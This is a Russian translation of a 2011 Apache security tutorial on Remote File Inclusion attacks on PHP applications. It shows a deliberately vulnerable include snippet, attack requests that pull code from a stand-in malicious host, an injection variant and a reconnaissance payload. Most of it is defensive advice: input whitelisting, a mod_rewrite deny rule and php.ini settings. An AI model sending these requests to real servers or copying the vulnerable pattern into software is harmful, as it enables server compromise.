Библиотека сайта rus-linux.net
Безопасная эксплуатация Apache, часть 9: атаки на PHP-приложения
Оригинал: Securing Apache, Part 9: Attacks that Target PHP-based InstancesАвтор: Arpit Bajpai
Дата публикации: 1 Мая 2011 г.
Перевод: А.Панин
Дата перевода: 4 Февраля 2013 г.
Начиная с первой части данной серии статей, мы рассматривали основные типы атак на веб-приложения и серверы, приводя примеры уязвимого кода PHP. В данной статье мы рассмотрим атаки, целью которых являются именно PHP-приложения и которые не рассматривались ранее.
Атаки удаленного включения файлов (RFI)
Техника удаленного включения файлов (Remote File Inclusion) используется в атаках против веб-приложений, проводимых с удаленного компьютера. В ходе этих атак злоумышленники исполняют свой код на уязвимом веб-сервере, включая этот код в состав кода веб-приложения на удаленном сервере при помощи манипуляций со строкой URL. При исполнении веб-приложением вредоносного кода становится возможной установка бэкдора или получение технической информации от сервера. В данном случае имеет место уязвимость приложения, существующая по причине недостаточной проверки вводимых пользователями данных.
Более опасной данную уязвимость делает то обстоятельство, что для ее эксплуатации взломщику необходимо только догадаться о ее существовании, а также обладать базовыми знаниями языков PHP и Bash, так как большинство серверов на сегодняшний день работает под управлением ОС Linux. Давайте подробнее рассмотрим простой сценарий атаки.
Сценарий атаки 1
<?php $format = 'convert_2_text'; if (isset( $_GET['FORMAT'] ) ) { $format = $_GET['FORMAT']; } include( $format . '.php' ); ?>
<form method="get"> <select name="FORMAT"> <option value="convert_2_text">text</option> <option value="convert_2_html">html</option> <option value="convert_2_pdf">pdf</option> </select> <input type="submit"> </form>
GET /?FORMAT=http://www.malicious_site.com/hacker.php HTTP/1.1 Host: www.example.com User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Примечание: Взломщик может отправить этот запрос либо изменив значение поля после ?FORMAT= в строке URL, либо отправив отдельно HTTP-запросы.
|
FORMAT
и позволяет произвести инъекцию кода с удаленного узла при помощи функции include
языка PHP. Эта функция обычно используется только для включения внутренних файлов приложения, но может использоваться и так, как показано выше для включения внешнего файла. В этом случае удаленный файл (hacker.php
) может содержать код, который (после включения в состав приложения) может получать важную информацию от приложения или позволяет установить бэкдор. Код может выглядеть так, как показано ниже:
<?php echo "Victim's operating system: @PHP_OS"; echo "Victim's system id: system(id)"; echo "Victim's current user: get_current_user()"; echo "Victim's phpversion: phpversion()"; echo "Victim's server name: $_SERVER['SERVER_NAME']"; exit; ?>
Данный код получает информацию о имени атакуемого сервера, операционной системе, программном обеспечении сервера, и.т.д. В ходе реальной атаки может применяться более сложный код, часто скачивающий бэкдоры с веб-интерфейсом для установки в систему.
Двумя наиболее часто используемыми и известными бэкдорами являются r59 shell и c99 shell. Они реализуют веб-интерфейс, позволяющий их пользователям скачивать файлы с сервера и загружать их на сервер, создавать процессы для отслеживания веб-трафика в системе, отправлять сообщения электронной почты, осуществлять соединения с другими серверами и администрировать базы данных SQL.
При наличии бэкдора r57 shell в скомпрометированной системе взломщики могут без труда модифицировать код веб-приложения, используя свои браузеры. Например, в приложениях электронной коммерции могут быть внесены изменения в PHP-код обработки процесса оплаты с целью отправки данных кредитной карты на внешний адрес электронной почты или с целью сохранения этих данных в базе данных для того, чтобы взломщики получили их в будущем. Подробное схематичное изображение процесса атаки удаленного включения файлов приведено на Рисунке 1.
Рисунок 1: Атака удаленного включения файлов
Примечание: В примере выше рассматривается включение файла с расширением .php , но взломщик также может использовать файл с расширением .txt и PHP-кодом внутри, просто добавив символ ? в конец строки URL для того, чтобы приложение рассматривало файл hacker.txt как файл с расширением .php вместо .txt - запрос будет выглядеть следующим образом:
GET /?FORMAT=http://www.malicious_site.com/hacker.txt? HTTP/1.1(Мы будем опускать строки параметров Host и User-Agent , аналогичные приведенным выше, в этом и следующих примерах.)
|
Сценарий атаки 2
GET /?FORMAT={${include("http://www.malicious_site.com/hacker.txt")}}{${exit()}}HTTP/1.1
Мероприятия по повышению безопасности
http://
и ftp://
. Однако, вы можете все еще использовать устаревшую версию PHP, поэтому следующие советы могут оказаться полезными:
- Используйте специальную проверку корректности значения параметра 'FORMAT' или аналогичных параметров:
<?php $format = 'convert_2_text'; if (isset( $_GET['FORMAT'] ) ) { if ($_GET['FORMAT'] =="convert_2_text" || $_GET['FORMAT'] =="convert_2_pdf" || $_GET['FORMAT'] =="convert_2_html") { $format = $_GET['FORMAT']; } include( $format . '.php' ); } ?>
- Примените мощные механизмы проверки корректности передаваемых данных; запретите использование уязвимых параметров в строках URL. Данный блог содержит неплохие примеры реализации таких проверок. Также вредоносные запросы часто содержат IP-адрес в строке URL, например,
GET /?FORMAT=http://192.0.55.2/hacker.php HTTP/1.1
. Ваш механизм проверки может использовать регулярное выражение(ht|f)tps?://
, после которого должна следовать проверка на наличие IP-адреса. - При реализации большинства атак удаленного включения файлов, в строке запроса после включения содержится как минимум один знак вопроса без каких-либо параметров после него для обхода дополнений строки с пользовательским вводом приложением.
- Большинство взломщиков хранят свои вредоносные программы (c99 shell или r57 shell) на сайтах бесплатных хостинг-провайдеров и используют их домены в ходе атак. Эти хостинг-провайдеры должны жестко следить за тем, не загружают ли их пользователи бэкдоры c99 shell, r57 shell или другие программы, которые могут оказаться вредоносными.
- 5. Использование модуля Apache
mod_rewrite
является также эффективной мерой безопасности для предотвращения атак удаленного включения файлов. Для использования этого модуля добавьте следующие строки в ваш файл.htaccess
:RewriteEngine On RewriteCond %{QUERY_STRING} (.*)(http|https|ftp)://(.*) RewriteRule ^(.+)$ - [F,L]
ДирективаRewriteCond
производит проверку соответствия строки запроса заданному регулярному выражению, а директиваRewriteRule
устанавливает параметры перенаправления взломщика. В нашем случае параметрыF
иL
позволяют заблокировать запрос. - Существуют два параметра файла
php.ini
, которые контролируют различные аспекты обработки файлов и значение которых вы можете установить для предотвращения атак удаленного включения файлов:allow_url_fopen=off allow_url_include=off
- Директивы
magic_quotes
управляют раскрытием кавычек средствами PHP в передаваемых приложению пользовательских данных. Например, можно установить директивуmagic_quotes_gpc=On
в файлеphp.ini
для раскрытия одинарных и двойных кавычек, обратных слэшей и нулевых символов в сочетании в обратными слэшами в запросах GET, POST и куках. Другая директива (magic_quotes_runtime=On
) раскрывает кавычки в списках выбора функций. Более подробное описание доступно в документации PHP. Данные директивы также позволяют предотвратить SQL-инъекции. - Безопасный режим работы PHP позволяет использовать довольно безопасное программное окружение; его активация (для этого в файле
php.ini
следует установить директивуsafe_mode=On
) заставляет PHP отказаться от использования функций, которые могут представлять угрозу для безопасности. Однако, существует множество путей обхода данных ограничений, показанных в статье H D Moore. Другой особенностью, которую следует учесть, является отказ от включения безопасного режима в версию PHP 6.0 - разработчики PHP признали, что использование этого режима не является эффективной мерой повышения безопасности приложения. Однако, если вы используете предыдущие версии PHP, включение данного режима (в случае корректной работы вашего приложения с ним) может помочь в противодействии определенным типам атак. - В большинстве случаев не существует причин для разрешения веб-приложению чтения файлов, находящихся вне корневой директории веб-сервера. Обычно файлы веб-сервера хранятся в директории
/var/www
, причем файлы каждого приложения хранятся в его собственной поддиректории. Если это утверждение применимо к вашему случаю, для большей безопасности ограничьте возможность чтения файлов, находящихся вне корневой директории веб-сервера, для кода PHP при помощи директивыopen_basedir=/var/www
.
Продолжение статьи: "Безопасная эксплуатация Apache, часть 9: атаки на PHP-приложения (продолжение)"